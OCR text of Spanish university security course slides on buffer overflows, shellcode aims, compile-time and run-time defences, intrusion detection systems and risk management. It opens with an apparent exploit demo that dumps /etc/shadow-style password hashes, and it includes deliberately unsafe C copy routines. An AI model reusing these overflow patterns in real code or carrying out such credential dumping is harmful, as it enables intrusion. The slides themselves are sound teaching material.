Enter value for name: Hello your yyy)DAOApy is e?”1AFF.../bin/sh...
root

root:$1$rNLId4rXSnka7J1xH7.4UJT419JRLk1:13346:0:99999:7:::
daemon:*:11453:0:99999:7:::

nobodyi: =145 3 (999 90k ik
knoppix:$1S$FvZSBKBuUSEdSFvuuJdKaCH8Y0IdnAv/:13346:0:99999:7:::
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Variantes de Stack Overflow

« EI programa objetivo
puede ser:

« Una utilidad de
sistema de confianza

- Demonio de servicio
de red

- Codigo de libreria de
uso comun

MISum

- Funciones de shellcode
* Inicilar una shell remoto cuando se

conecte el atacante

- Crear una shell inverso que se conecte al

atacante (de forma inversa)

- Usar exploits locales que establezcan

una shell

- Vaciar las reglas de firewall que

actualmente bloquean otros ataques

- Salir de un entorno chroot (ejecucion

restringida), dando acceso completo al
sistema
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Defensas contra Buffer Overflow

 Los desbordamientos de bufer son ampliamente explotados

* Dos enfoques generales de defensa
- En tiempo de compilacion
- Tienen por objetivo fortificar las problemas. Sin embargo, los programas
existentes requieren ser compilados de nuevo para incluir estas defensas
- En tiempo de ejecucion

- Se pretende fortificar los programas sin necesidad de Volver a compilar.
En su mayoria, son medidas introducidas por el Sistema operativo

MISum



Defensas en tiempo de compilacion:
lenguajes de programacion

« Lenguaje moderno de - Desventajas

alto nivel - Se debe ejecutar cédigo adicional en
- No es vulnerable a los tiempo de ejecucion para imponer
comprobaciones

atagques de od | |
desbordamiento de - La flexibilidad y la seguridad tienen un
buffer costo en el uso de recursos

: : - La distancia del lenguaje de maquina y

* EI' compilador  aplica la arquitectura subyacentes significa
comprobaciones  de que se pierde el acceso a algunas
rango y Operaciones instrucciones y recursos de hardware.

permitidas en variables - Limita su utilidad para escribir cadigo,
como controladores de dispositivo, que
deben interactuar con dichos recursos.
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Defensas en tiempo de compilacion:
téecnicas de codificacion seguras

» Los disefadores de C pusieron mucho mas énfasis en la eficiencia del espacio y
las consideraciones de rendimiento que en la seguridad del tipo

- Se supone que los programadores ejercerian el debido cuidado al escribir el codigo

 Los programadores necesitan inspeccionar el codigo y reescribir cualquier
codigo inseguro
- Un ejemplo de esto es el proyecto Open BSD

« Los programadores han auditado la base de cddigo existente, incluido el sistema
operativo, las bibliotecas estandar y las utilidades comunes.

- Esto ha resultado en lo que es ampliamente considerado como uno de los sistemas
operativos mas seguros de uso generalizado.

MISum



Ejemplo de Codigo C inseguro

int copy_buf (char *to, int pos, char *from, int len)

{

int A,

for (i=0; i<len; i++) {
to[pos] = from[i];
pos#tt;

}

return pos;

(a) Unsafe byte copy

short read_chunk (FILE fil, char *to)
{

short len;
fread(&len, 2, 1, fil); /* read length of binary data */
fread(to, 1, len, fil); /* read len bytes of binary data

return len;

(b) Unsafe byte input

MISum



Defensas en tiempo de compilacion:
extensiones de lenguaje/librerias seguras

* El manejo de la memoria asignada dinamicamente es mas problematico porque
la informacion de tamafio no esta disponible en tiempo de compilacion

- Requiere una extension y el uso de rutinas de biblioteca
- Los programas y bibliotecas necesitan ser recompilados
- Es probable que tenga problemas con aplicaciones de terceros

« La preocupacion con C es el uso de rutinas de biblioteca estandar inseguras
- Un enfoque ha sido reemplazarlos con variantes mas seguras.

- Libsafe es un ejemplo
- La libreria se implementa como una libreria dinamica organizada para cargarse

antes que las libreria estandar existentes

MISum



Defensas en tiempo de compilacion:
proteccion de pila

« Anade codigo de entrada y salida de la funcion para verificar la pila en busca de signos
de corrupcion

« Usar canary/cookie aleatorio
- El valor debe ser impredecible
- Debe ser diferente en diferentes aplicaciones y ejecuciones

« Stackshield and Return Address Defender (RAD)
- Extensiones de GCC que incluyen codigo de entrada y salida de funciones

- Al entrar a una funcion escribe una copia de la direccion de retorno en una region segura
de la memoria

- Al salir de una funcion comprueba la direccion de retorno en el marco de pila con la copia
guardada

Si se se observa que el valor ha cambiado, se cierra el programa

MISum



Defensas en tiempo de ejecucidon: Proteccion
del espacio de direcciones ejecutable

« Usar la compatibilidad con - Problemas

la memoria virtual para - Compatibilidad con cédigo

hacer gque algunas R
regiones de memoria no de pila ejecutable
sean ejecutables - Se necesitan disposiciones
- Requiere soporte de la especiales
unidad de administracion de
memoria (MMU)

- Existi6 durante  mucho
tiempo en los sistemas
SPARC/Solaris

- Reciente en sistemas x86
Linux/UnixWindows

MISum



Defensas en tiempo de ejecucion:
aleatorizacion del espacio de direcciones

« Manipular la ubicacion de estructuras de datos
- Stack, heap, datos globales
- Uso de desplazamientos aleatorios para cada proceso

- El Amplio rango de direcciones de memoria en sistemas modernos tiene
como resultado que el impacto de esta tecnica en el uso de memoria es
Insignificante

 Aleatorizar la ubicacion de los buffers en el heap

 Ubicacion aleatoria de las funciones de la libreria estandar
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Defensas en tiempo de ejecucion: Paginas
de guardia

« Agregar paginas de proteccion entre regiones criticas de la memoria

- Marcado en MMU como direcciones ilegales
- Cualquier intento de acceso provocara una excepcion en el proceso

 Otras extensiones colocan paginas de proteccion Entre marcos de stack y

buferes de heap
- Costo en tiempo de ejecucion para soportar la gran cantidad de asignaciones

de paginas necesarias

MISum



Reemplazo del marco de pila

« Variante que sobrescribe el buffer y la direccion del puntero base guardado
- El valor del puntero base es cambiado para referenciar a un marco de pila falso
 La funcidén actual retorna a donde apunta el marco de pila falso
- El control se transfiere al shellcode en el buffer sobrescrito

« Ataques Off-by-one
- Error de codificacion que permite copiar un byte mas del espacio disponible

« Defensas

- Cualquier mecanismo de proteccion de pila para detectar modificaciones en el marco
de pila o en la direccion de retorno por codigo de salida de la funcion

- Usar pilas no ejecutables
- Aleatorizacion de la pila en la memoria y de las bibliotecas del sistema

MISum



Return to System Call

- Variante de Stack overflow que reemplaza la « Defensas
direccion de retorno por una funcion de - Cualquier mecanismo de
biblioteca estandar proteccion de pila para
- Respuesta a las defensas de pila no detectar modificaciones en
ejecutables el marco de pila o en la
- EIl atacante construye los parametros direccion de retorno
adecuados en la pila por encima de la direccion

- Usar pilas no ejecutables

- Aleatorizacion de la pila en
la memoria y de las
bibliotecas del sistema

de retorno

- Cuando la funciébn actual termina, se acaba
lamando a la funcidon de la libreria estandar

- Es posible que el atacante necesite la direccion
exacta del bufer

* Incluso se pueden encadenar dos 0 mas
llamadas a la biblioteca

MISum



Heap Overflow

« Ataque de buffer overflow en el heap
Por lo general, se encuentra encima del codigo del programa

- Los programas solicitan memoria para usarla en estructuras de datos dinamicas (como listas
vinculadas de registros)

« No hay direccion de retorno
- Por lo tanto, no es facil transferir el control
« Puede tener punteros de funcion que se pueden explotar
- O manipular estructuras de datos de gestion de memoria

* Defensas
- Hacer que el heap no sea ejecutable
- Aleatorizacion de la asignacion de memoria en el heap

MISum



Contenidos

« Buffer Overflow
* Introduccién
 Ejemplos

« Stack Overflow
* Introduccion
 Ejemplos
 Repaso de conceptos de x86
« Funciones de C no seguras
« Mecanismos de proteccion

« Técnicas Inteligentes parala Prevencion
« Sistemas de Deteccidn de Intrusiones basado en Host
« Sistemas de Deteccidn de Intrusiones basado en Red
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Técnicas inteligentes para la prevencion

* Intrusion de seguridad:
« Acto no autorizado de eludir los mecanismos de seguridad de un sistema

« Deteccidn de intrusos:

« Una funcion de hardware o software que recopila y analiza informacion de
varias areas dentro de una computadora o una red para identificar posibles
Intrusiones de seguridad
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Intrusion Detection System (IDS)

* IDS basado en host (HIDS) - Consta de tres componentes
- Supervisa las caracteristicas de un l6gicos:
solo host en busca de actividades _
sospechosas - Sensores: recopilan datos
« IDS basado en red (NIDS) . ﬁnallzzdorgs: detgrmmqp Si se
« Supervisa el trafico de red y analiza a producido una intrusion
los protocolos de red, transporte y * Interfaz de wusuario. ver la
aplicaciones para identificar salida o controlar el

actividades sospechosas

 IDS distribuido o hibrido

Combina la informacion de una serie
de sensores, a menudo tanto en el
host como en la red, en un
analizador central que es capaz de
identificar y responder mejor a la
actividad de intrusion

MISum
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Comportamiento del intruso y de los
usuarios autorizados

Probability Profile of

density function siithorized tiser

A Profile of behavior
intruder behavior

AN

Overlap in observed
or expected behavior

Average behavior Average behavior Measurable behavior

M I S u I [ of intruder of authorized user parameter
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Requisitos de un IDS

« Continuamente en ejecucion

« Ser tolerante a los fallos

« Robusto al ataque

« Minima sobrecarga del sistema

« Configurado de acuerdo con las politicas de seguridad del sistema
« Adaptarse a los cambios en los sistemas y los usuarios

« Escalable para supervisar un gran numero de sistemas

« Permitir la reconfiguracion dinamica

MISum



Enfoques de analisis

Deteccidon de anomalias

Implica la recopilacion de
datos relacionados con el
comportamiento de usuarios
legitimos durante un periodo
de tiempo

El comportamiento
observado actual se analiza
para determinar si este
comportamiento es el de un
usuario legitimo o el de un
Intruso

MISum

- Deteccion de firma/heuristica

- Utiliza un conjunto de patrones

de datos malintencionados
conocidos o reglas de atagque
gque se comparan con el
comportamiento actual

- También conocida como

deteccidén de uso indebido

- Solo puede identificar ataques

conocidos para los que tiene
patrones o reglas



Deteccion de anomalias

 Se utilizan diversos enfoques de clasificacion:
- Estadisticos

« Analisis del comportamiento observado mediante modelos univariantes, multivariados o
de series temporales de métricas observadas

- Basado en el conocimiento

- Estos enfoques utilizan un sistema experto que clasifica el comportamiento observado de
acuerdo con un conjunto de reglas gue modelan el comportamiento legitimo

- Machine Learning o Deep Learning

-+ Estos enfoques determinan automaticamente un modelo de clasificacion adecuado a partir
de los datos de entrenamiento mediante técnicas de mineria de datos

MISum



Deteccion de firma o heuristica

 Enfoquesdefirma

- Estos enfoques tratan de encontrar coincidencias de las muestras de un trafico de red o de un
binario con los patrones almacenados en una base de datos

- Las firmas deben ser lo suficientemente grandes como para minimizar la tasa de falsas
alarmas, al tiempo gque se detecta una fraccion suficientemente grande de datos maliciosos

- Ampliamente utilizado en productos antivirus, proxies de escaneo de trafico de red y en NIDS

- Identificacion heuristicabasadaen reglas

- Implica el uso de reglas para identificar malware conocidas o malware que explotarian
debilidades conocidas.

- También se pueden definir reglas que identifiquen comportamientos sospechosos, incluso
cuando el comportamiento esta dentro de los limites de los patrones de uso establecidos

- Normalmente, las reglas utilizadas son especificas
SNORT es un ejemplo de un NIDS basado en reglas

MISum



IDS basado en host (HIDS)

« Agrega una capa especializada de software que aporta seguridad a
sistemas vulnerables o sensibles

« Puede utilizar enfoques de anomalias o de firmay heuristicos

« Supervisa la actividad para detectar comportamientos sospechosos

- El objetivo principal es detectar intrusiones, registrar eventos sospechosos y
enviar alertas

- Puede detectar intrusiones externas e internas

MISum



Fuentes de datos y sensores

« Un componente fundamental de la deteccion de intrusos es el sensor que
recopila datos

 Las fuentes de datos comunes incluyen:
- Seguimientos de llamadas al sistema
 Reqistros de auditoria (archivo de registro)
- Sumas de comprobacion de integridad de archivos

- Acceso al registro

MISum



Llamadas al sistema Linux y archivos DLL
de Windows supervisados

 Llamadas al sistema Ubuntu Linux

* accept, access, acct, adjtime, aiocancel, aioread, aiowait, aiowrite, alarm, async_daemon, auditsys, bind,
chdir, chmod, chown, chroot, close, connect, creat, dup, dup2, execv, execve, exit, exportfs, fchdir, fchmod,
fchown, fchroot, fcntl, flock, fork, fpathconf, fstat, fstat, fstatfs, fsync, ftime, ftruncate, getdents,
getdirentries, getdomainname, getdopt, getdtablesize, getfh, getgid, getgroups, gethostid, gethostname,
getitimer, getmsg, getpagesize, getpeername, getpgrp, getpid, getpriority, getrlimit, getrusage,
getsockname, getsockopt, gettimeofday, getuid, gtty, ioctl, kill, killpg, link, listen, Iseek, Istat, madvise, mctl,
mincore, mkdir, mknod, mmap, mount, mount, mprotect, mpxchan, msgsys, msync, munmap, nfs_mount,
nfssvc, nice, open, pathconf, pause, pcfs_mount, phys, pipe, poll, profil, ptrace, putmsg, quota, quotactl,
read, readlink, readv, reboot, recv, recvfrom, recvmsg, rename, resuba, rfssys, rmdir, sbreak, sbrk, select,
semsys, send, sendmsg, sendto, setdomainname, setdopt, setgid, setgroups, sethostid, sethostname,
setitimer, setpgid, setpgrp, setpgrp, setpriority, setquota, setregid, setreuid, setrlimit, setsid, setsockopt,
settimeofday, setuid, shmsys, shutdown, sigblock, sigpause, sigpending, sigsetmask, sigstack, sigsys,
sigvec, socket, socketaddr, socketpair, sstk, stat, stat, statfs, stime, stty, swapon, symlink, sync, sysconf,
time, times, truncate, umask, umount, uname, unlink, unmount, ustat, utime, utimes, vadvise, vfork,
vhangup, vlimit, vpixsys, vread, vtimes, vtrace, vwrite, wait, wait3, wait4, write, writev
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Llamadas al sistema Linux y archivos DLL
de Windows supervisados

 ArchivosDLL Yy ejecutables claves de Windows

- comctl32

» kernel32

* msvcpp

* msvcrt

- mswsock

« Ntdll

* ntoskrnl

- user32

* ws2_32

MISum



Arquitectura para la deteccion de
Intrusiones distribuidas

LAN monitor

Host Host
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Arquitectura del agente

OS audit
. informati Filter for
OS audit formation ceplirit Reformat
- EE—— e -
function . Y function
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Host audit record (HAR)
Alerts
. . >
Logic Analysis Central
_»
module Notable module ~——>|  manager
- . Query/
.act1v1ty, response
signatures;
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sessions

M IS Templates >< Modifications

Alll
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IDS basado en red (NIDS)

« Supervisa el trafico en puntos seleccionados de una red
« Examina el trafico paquete por pagquete en tiempo real o casi real

 Puede examiner los protocolos a nivel de red, transporte y/o
aplicacion

« Compuesto por una serie de sensores, uno o mas servidores
para las funciones de administracion de NIDS y una o mas
consolas de administracion para la gestion y configuracion

« El andlisis de los patrones de trafico se puede realizar en el
sensor, en el servidor de gestion o en una combinacion de ambos
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Sensor NIDS pasivo

Network traffic

Monitoring interface
(no IP, promiscuous mode)

NIDS
sensor

Management interface
(with IP)

MISum
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Ejemplo de implementacion de sensores
NIDS

Internal server
and data resource
networks

)
i LAN switch Internal
or router firewall

LAN switch

or router External

Workstation
networks

Service network
(Web, mail, DNS, etc.)

N
//// m LAN switch Internal

or router firewall
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Logging Alert

 La informacion tipica registrada por un sensor NIDS incluye:
- Timestamp
* ID de conexion o sesion
- Tipo de evento o alerta
- Rating
 Protocolos de red, transporte y capa de aplicacion
- Direcciones IP de origen y destino
* Puertos TCP o UDP de origeny destino, o tipos y codigos ICMP
- Numero de bytes transmitidos a traves de la conexion
- Datos del payload decodificado (ej: peticiones y respuestas)
- Informacion relacionada con el estado

MISum
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La gestion es la parte dificil

* La tecnologia es concreta
- Los dispositivos y las redes se pueden mostrar

- Los dispositivos y el software se pueden entender
« La gestion es abstracta

* No es facil de entender

* No hay formulas “magicas”

« La gestion es mas importante

- La seguridad es un proceso, no un producto (Bruce Schneier)
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La necesidad de una seguridad integral

Defenders must close off all possible avenues of attack.
This is called comprehensive security.

Corporation

Possible avenues of attack

/ An attacker only needs one

1 ° unprotected avenue of attack to succeed.

MISum



Fallo del eslabon mas débil

—

1. 2. 3. 4.
Firewall Firewall Firewall Firewall
administrator examines stores information administrator

creates all incoming about each reads log file
filtering rules packets dropped packet looking for
in a log file problems

MISum



Contenidos

* Introduccion

« Gestion de la seguridad
« Contexto legal
« Cuestiones Organizativas

 Andlisis de riesgos
« Enfoques
e Terminologia
« Evaluacion del riesgo
« Ejemplo

« Andlisis de riesgos de software
* Objetivos e importancia
« Categorias de riesgos de software

MISum



Gestion de la seguridad

« Complejo
« Debe ser un proceso disciplinado e integrado

- No se puede gestionar de manera informal

* Necesita procesos formales
- Serie de acciones planificadas
* Planificacion anual

+ Procesos de planificacion y desarrollo de contramedidas individuales
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Gestion de la seguridad

« Un proceso continuo
- Monitorizar, detectar, reaccionar, mejorar...

 En caso contrario falla

 Normativa de cumplimiento
- A esto se suma la necesidad de adoptar procesos disciplinados

- Las normativas facilitan la adopcion de esos procesos

MISum



Gestion de la seguridad

« El ciclo de planificacion, proteger y responder

Respond

M et®

Plan

Protect

MISum
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Gestion de la seguridad

Development Operational use
> >

Systems development
life cycle
Systems life cycle
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Gestion de la seguridad

* La seguridad como facilitador
- A menudo se piensa en la seguridad como preventiva

 Pero la seguridad también es un facilitador

- Una empresa con una buena seguridad puede hacer cosas que de otro modo
serian imposibles

- Participar en sistemas interorganizacionales con otras empresas

- Puede usar comandos SNMP SET para administrar sistemas de forma
remota

- Debe involucrarse temprano en los proyectos para reducir los inconvenientes
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Gestion de la seguridad

MISum

Application Security 1.5:

Everyone wants to shift
security left...

$80 $240 $960

Remediation Costs

S Millions

Security Shifting Left
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Gestion de la seguridad

 Vision positiva de los usuarios
- No se debe ver a los usuarios como maliciosos o estupidos
- La seguridad protege los usuarios y sus identidades digitales
- Estupido significa mal entrenado (necesidad de concienciacion)

 No deben ver |la seguridad como una fuerza policial o militar
Crea una vision negativa de los usuarios
La policia se limita a castigar, no a prevenir el delito
La seguridad debe evitar ataques
Los militares pueden usar la fuerza; la seguridad ni siquiera puede castigar
ya lo hara RRHH
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Planificacion estratégica de la seguridad

« |dentificar las brechas actuales de seguridad TI

 |dentificar el contexto
o El entorno de amenazas
o Leyes y regulaciones de cumplimiento

o Estructura corporativa y posibles cambios

« ldentificar los activos corporativos que necesitan proteccion
o Enumerar todos los activos

o Valorar cada uno por dimension de seguridad

MISum



Planificacion estratégica de la seguridad

« Valorar las amenazas y los riesgos
- Impacto y probabilidad
- Valoracion del riesgo actual

« Desarrollar planes de mitigacion
- Definir y valorar las salvaguardas

« Definir un plan de inversion para la seguridad
- No se pueden eliminar todas las amenazas de forma inmediata
- Estudio coste/beneficio
- Riesgo residual
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Contexto legal

* Leyes y regulaciones de cumplimiento

- Las leyes y regulaciones de cumplimiento crean requisitos para la seguridad
corporativa

* Los requisitos de documentacion son estrictos
- Los requisitos de administracion de identidades tienden a ser estrictos

- El cumplimiento puede ser costoso y no es inmediato

- Hay muchas leyes y regulaciones de cumplimiento, y el numero esta
aumentando rapidamente
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Contexto legal

* Leyes de proteccion de la privacidad
- La Ley Organica de Proteccion de Datos (LOPD) en Espana
- La General Data Protection Regulation (GDPR) en Europa
- Las empresas ya no pueden ocultar las filtraciones de datos

- Muchos otros paises tienen leyes estrictas de privacidad de datos
comerciales

- El U.S. Gramm-Leach-Bliley Act (GLBA)

- La Ley de Portabilidad y Responsabilidad de Seguros Médicos de EE. UU.
(HIPAA) para datos privados en organizaciones de atencion medica
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Contexto legal

« Esquema Nacional de Seguridad (ENS)
- Para garantizar la seguridad en la Administracion Digital
- Adaptacion a cualquier tipo de Sistema
-+ Revision continua frente a la nuevas tendencias en ciberseguridad

« |ISO/IEC 27001
- Estandar internacional para la gestion de la seguridad de la informacion
- Proporciona una serie de “best practices”

- MAGERIT
- Metodologia de Analisis y Gestion de Riesgos de los Sistemas de Informacion
* Intenta minimizar los riesgos de la implantacion y uso de las Tl

MISum



Cuestiones organizativas

« Chief Security Officer (CSO) vs Chief Information Security Officer
(CISO)

- Roles siempre mas intercambiables

- ¢,Donde ubicar la seguridad informatica?

- Dentro de la infraestructura TI
- Compatible con habilidades técnicas
« El CSO/CISO sera responsable de la seguridad

- Fuera de la infraestructura IT

- Da independencia. Dificil denunciar al departamento IT y al CIO cuando
se esta dentro de él

MISum



Cuestiones organizativas

« . Donde ubicar la seguridad informatica?
- Hibrido
- Colocar la planificacion, la formulacion de politicas y la auditoria fuera

- Colocar los aspectos operativos, como el funcionamiento del cortafuegos,
dentro

« Apoyo ala Alta Direccion
- Presupuesto
- Apoyo en conflictos

- Dar ejemplo al personal

MISum



Cuestiones organizativas

* Relaciones con otros departamentos

- Relaciones especiales
- Responsables de ethics, compliance y privacy
- Recursos humanos
- Departamento Juridico
- Departamentos de auditoria
- Auditoria informatica, auditoria interna, auditoria financiera
- Podria colocarse la auditoria de seguridad en uno de esos
- Todos los departamentos corporativos
- Socios comerciales y cadena de suministro

MISum



Cuestiones organizativas

« Externalizacion de la seguridad informéatica
- Solo correo electréonico o servicio web
- Penetration Testing

- Proveedores de servicios de seguridad gestionados (MSSP)

- Externalizar la mayoria de las funciones de seguridad informatica al
MSSP

- Pero, por lo general, no es una politica

MISum



Gestion de la seguridad

« Gestion de la seguridad TI: Un proceso utilizado para lograr y mantener niveles
adecuados de confidencialidad, integridad, disponibilidad, responsabilidad,
autenticidad y confiabilidad. Las funciones de gestion de la seguridad de TI
Incluyen:

- Determinar objetivos, estrategias y politicas de seguridad de TI

- Determinar requisitos de seguridad de TI

- Identificar y evalorar los activos del sistemay sus dependencias

- Identificar y analizar amenazas de seguridad para los activos de Tl
- Identificar y analizar riesgos

- Especificar las salvaguardias adecuadas

MISum



Gestion de la seguridad

« Gestion de la seguridad TI: Un proceso utilizado para lograr y mantener
niveles adecuados de confidencialidad, integridad, disponibilidad,
responsabilidad, autenticidad y confiabilidad.

« Supervisar la implementacion y el funcionamiento de las medidas de seguridad
necesarias para proteger de forma rentable la informacion y los servicios
dentro de la organizacion

 Desarrollo e implementacion de un programa de concienciacion sobre
seguridad

« Deteccion y reaccion ante incidentes
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Vision general de la gestion de seguridad

MISum

Organizational

IT security policy I

N\ P

Risk analysis options

Security risk analysis
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( Selection of controls )

Development of security plan
and procedures

:

Implementation

Security awareness
and training

Implement
controls

Follow-up
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compliance

Change Incident

management handling
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Contexto organizativo y politica de seguridad

« Mantenimiento y - En primer lugar, examinar
actualizacion periodica la seguridad informatica
- Uso de revisiones de de la organizacion:
seguridad periodicas - Objetivos: Resultados de
- Reflejar los cambios en seguridad de IT deseados
los entornos técnicos/de - Estrategias: Como
riesgo cumplir los objetivos

- Politicas: Identificar lo que

« Examinar el papel y la
hay que hacer

Importancia de los
sistemas de Tl en Ia
organizacion.
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Politica de seguridad

 Hay que abordar:

- Alcance vy finalidad, incluida la relacion de los objetivos con los requisitos

comerciales, legales y reglamentarios
- Requisitos de seguridad de TI
- Asignacion de responsabilidades
- Enfoque de gestion de riesgos
- Concienciacion y formacion en materia de seguridad

- Atencion a los costes

MISum



Politica de seguridad

 Hay que abordar:

« Cuestiones generales de personal y cualquier sancion legal
- Integracion de la seguridad en el desarrollo de sistemas

- Esquema de clasificacion de la informacion

- Planificacion de contingencias y continuidad del negocio

- Procesos de deteccion y gestion de incidencias

- Como y cuando se reviso la politica, y cambiar el control de la misma

MISum
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Analisis de riesgos

« Componente critico del proceso

* Lo ideal es examinar todos los activos de la organizacion
- No es factible en la practica

 Sirve para determiner el riesgo al cual esta expuesto una organizacion
 Junto al tratamiento de riesgos, forma parte de la gestion de riesgos

‘ gestion de riesgos |

t
I | |

|. analisis ‘ ll. tratamiento
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Terminologia

 Activo
* Posible fuente de

resgo

« Recurso la organizacion necesario para desempefar las actividades diarias y

cuya no disponibilidad o deterioro supone agravio o coste
 Informacion + infraestructura + instalaciones + personas

Nombre Descripcion Responsable Ubicacion Critico

. . . Director . L ,

ID_01 Servidor 01  Servidor de contabilidad. ) ] Servidor (Fisico) Salade CPD1 Si
Financiero

- Router para la red WiFi de Dept.
ID_02 RouterWifi P _ Pt Router (Fisico) Salade CPD1  No

cortesia a los clientes. Informatica

. Servidor para la pagina Dept. .

ID_03 Servidor 02 P ) PaE p, . Servidor (Fisico) CPD externo Si
web corporativa. Informatica

MISum
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Terminologia

 Amenaza

» Posibilidad de que una fuente de amenaza explote una
vulnerabilidad en algun activo, lo que, si se produce, puede
comprometer la seguridad del activo y causar danos al
propietario del activo

* Vulnerabilidad
» Un fallo o debilidad en el disefio, implementacion u operacion
gestion del active que podria ser explotada por alguna
amenaza
« EXposicion
» Problema de configuracion o error de gestion

» Conceptos asociados con CVE (Common Vulnerabilities and
Exposures) y CVSS (Common Vulnerability Scoring System)

MISum
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Terminologia

* Impacto

« Materializacion de una amenaza sobre un activo aprovechando una
vulnerabilidad o una exposicion

« Estimacion en porcentaje de degradacion que afecta al valor del activo
* Probabilidad

* Posibilidad de ocurrencia de un hecho, suceso 0 acontecimiento
 Estimacion de frecuencia
* Riesgo

« Se calcula como el producto entre la probabilidad de que una amenaza
explote alguna vulnerabilidad e impacto de las consecuencias que resultan
para el propietario del activo
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Proceso de evaluacion de riesgos

Determinar el contexto

Valoracién de riesgos

Tratamiento del riesgo

MISum
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Proceso de evaluacidon de riesgos

=== ¢ Definir del alcance
=W o |dentificarlos activos
I ¢ |dentificaramenazas
¢ |dentificarvulnerabilidades
Fase 4 .
¢ |dentificarsalvaguardas
e Evaluar el riesgo
e Tratar el riesgo

MISum
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Estableciendo el contexto

« Paso Inicial
- Determinar los parametros basicos de la evaluacion de riesgos
- Objetivos estratégicos, procesos “core business”
- ldentificar los activos que se van a examinar

« Explora el entorno politico y social en el que opera la organizacion
- Limitaciones legales y regulatorias

- Divisiones o unidades
 Proporcionar un baseline para la exposicion al riesgo de la organizacion

* Riesgo asumible
- El nivel de riesgo que la organizacion considera aceptable

MISum



Analisis de riesgos

« Analisis de riesgo potencial
1. Determinar activos relevantes y su valor
2. Determinar a qué amenazas estan expuestos
3. Estimacion de impacto potencial
4. Estimacion de riesgo potencial

« Analisis de riesgo residual
5. Determinar salvaguardas eficaces
6. Estimar el impacto residual
7. Estimacion de riesgo residual

MISum

activos '
San por su

riesgo

a__/ probabilidad ™

residual




Caracterizacion de los activos

* Esta actividad busca identificar los activos relevantes dentro del sistema:
« Caracterizando el tipo de activo

e |dentificando las relaciones entre los diferentes activos

« Determinando en qué dimensiones de seguridad CID son importantes
 Valorando su importancia

estan expuestos a

activos '

Interesan por su

 Subtareas:

 |dentificacidn de los activos |
« Dependencias entre activos ~_degradacion |
» Valoracion de los activos impacto

amenazas

A
C valor i

con una cierta
»(_ probabilidad

A
riesgo

MISum
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Caracterizacion de amenazas

« Esta actividad busca identificar las amenazas relevantes sobre el sistema a
analizar:
« Caracterizando las estimaciones de ocurrencia (probabilidad)
« Identificando el dafio potencial causado (degradacion)

« Importante tener el mapping con las caracteristicas de seguridad deseadas
. Integridad s}
- Disponibilidad ; i
- Responsabilidad
- Autenticidad
- Fiabilidad
- Confidencialidad

valor

degradacion

[\
.
.‘

con una cierta

probabilidad /

ey
MISum .



Fuentes de amenazas

 Las amenazas pueden ser:
- De origen natural, industrial o defectos de las aplicaciones
+ Accidental o deliberado
» La evaluacion de las fuentes de amenazas humanas debe tener en cuenta:
« Motivacion
- Capacidad
+ Recursos
- Probabilidad de ataque
« Disuasion
« También hay que tener en cuenta cualquier experiencia previa de ataques observada por
la organizacion
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Valoracion de amenazas - Degradacion

« Mide el dafno causado si el incidente ocurriera
« Debe de tener en consideracion el tipo de amenaza

Modelacion cualitativa por
medio de escalas nominales

Pérdida del valor

Levemente degradado

Modelacion cuantitativa por
medio de escalas porcentuales

Pérdida del valor

20%

Parcialmente degradado

Medianamente degradado

40%

60%

Significativamente degradado

Totalmente degradado

80%

100%
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Valoracion de amenazas - Probabilidad

« Mide coOmo de probable o improbable es que se materialice la amenaza. A
veces se modela cualitativamente por medio de alguna escala nominal,
otras de manera numérica como una frecuencia de ocurrencia.

Probabilidad (cualitativa) de ocurrencia Frecuencia (numérica) de ocurrencia
5 <
wv
3 = ok
— & O 2 ¢
o S €5 9
B o < o =
(<)) =
(o) - U O
a - T ©
o
MA  Muy alto Casi seguro Facil MA 100 Muy frecuente A diario
A Alto Muy alta Medio A 10 Frecuente Mensualmente
M Medio Posible Dificil M 1 Normal Una vez al afio
B Bajo Poco probable Muy dificil B 1/10 Poco frecuente Cada varios ainos
M Ii MB Muy Muy rara Extremad. dificil MB 1/100 Muy poco frecuente Siglos
bajo 46




ldentificacion de vulnerabilidades

* |dentificar fallos o debilidades explotables en los sistemas o procesos de
Tl de la organizacion.

- Determina la aplicabilidad y la importancia de la amenaza para la
organizacion.

« Necesita una combinacion de amenaza y vulnerabilidad para crear un
riesgo para un activo

* El resultado debe ser una lista de amenazas y vulnerabilidades con
breves descripciones de cOmo y por que pueden ocurrir
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Determinacion del impacto potencial

« Medir impacto de las amenazas sobre un activo
« Degradacion: como de perjudicado resultaria el activo

 Valor del activo y posibles dependencias

] degradacion
impacto
1% 10% 100%
A B M A
valor M MB B M
B MB MB B
MB MB MB MB

Estimacion de impacto de las amenazas en base al valor (modelado
con cinco codigos) y a la degradacion (modelado con tres porcentajes)
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Determinacion del riesgo potencial

Riesgo = probabilidad de amenaza X impacto potencial

riesgo

probabilidad

MA MA MA MA

MA MA

impacto

A A
M M
B B

A A
M M
B B

MB MB MB

« Dificultad para determiner probabilidades y coste realistas

MISum
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Determinacion del riesgo potencial

Riesgo = probabilidad de amenaza X impacto potencial

Nivel de riesgo

Descripcion

Muy Alto (MA)

Requerira una investigacion detallada y una planificacion de la gestibn a nivel
ejecutivo/director. Sera necesario llevar a cabo una planificacion y un seguimiento continuos,
con examenes periodicos. Se espera un ajuste sustancial de los controles para gestionar el
riesgo, con costos que posiblemente superen las previsiones originales.

Alto (A) Requiere la atencion de la gerencia, pero la administraciéon y la planificacion pueden dejarse
en manos de los lideres senior de proyectos o equipos. Es probable que la planificacion y la
supervision continlen con examenes periddicos, aunque es probable que el ajuste de los
controles se realice con cargo a los recursos existentes.

Medio (M) Se puede gestionar mediante procedimientos especificos de supervision y respuesta
existentes. La gestion por parte de los empleados es adecuada con un seguimiento y
revisiones adecuados.

Bajo (B) Se puede manejar a través de procedimientos rutinarios.

Muy Bajo (MB)

Se puede ignorer o considerar como mejora futura.

MISum
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Caracterizacion de las salvaguardas existentes

« Es necesario identificar los controles existentes utilizados para intentar minimizar
las amenazas

 Los controles de seguridad incluyen:
+ Administracion

- Operacional —
« Procesos y procedimientos técnicos = N
- Utilizar listas de verificacion de los controles existente cn oy Gngradacin ]
y entrevistar al personal clave de la organizacion para '
solicitar informacion e

e Subtareas:
« Seleccion de las salvaguardas pertinentes

 Valoracion (eficacia e insuficiencias)
de las salvaguardas

MISum y

/ riesgo

. residual )
tipo de activo
dimension
amenaza |
nivel de riesgo




Tipos de contramedidas

Efecto Tipo
[PR] PREVENTIVAS
Reducen la probabilidad [DR] DISUASORIAS
[EL]  ELIMINATORIAS
[IM]  MINIMIZADORAS
Acotan la degradacidn [CR] CORRECTIVAS
[RC] RECUPERATIVAS
[MN] MONITORIZACION
Consolidan el efecto de las demas [DC]  DETECCION
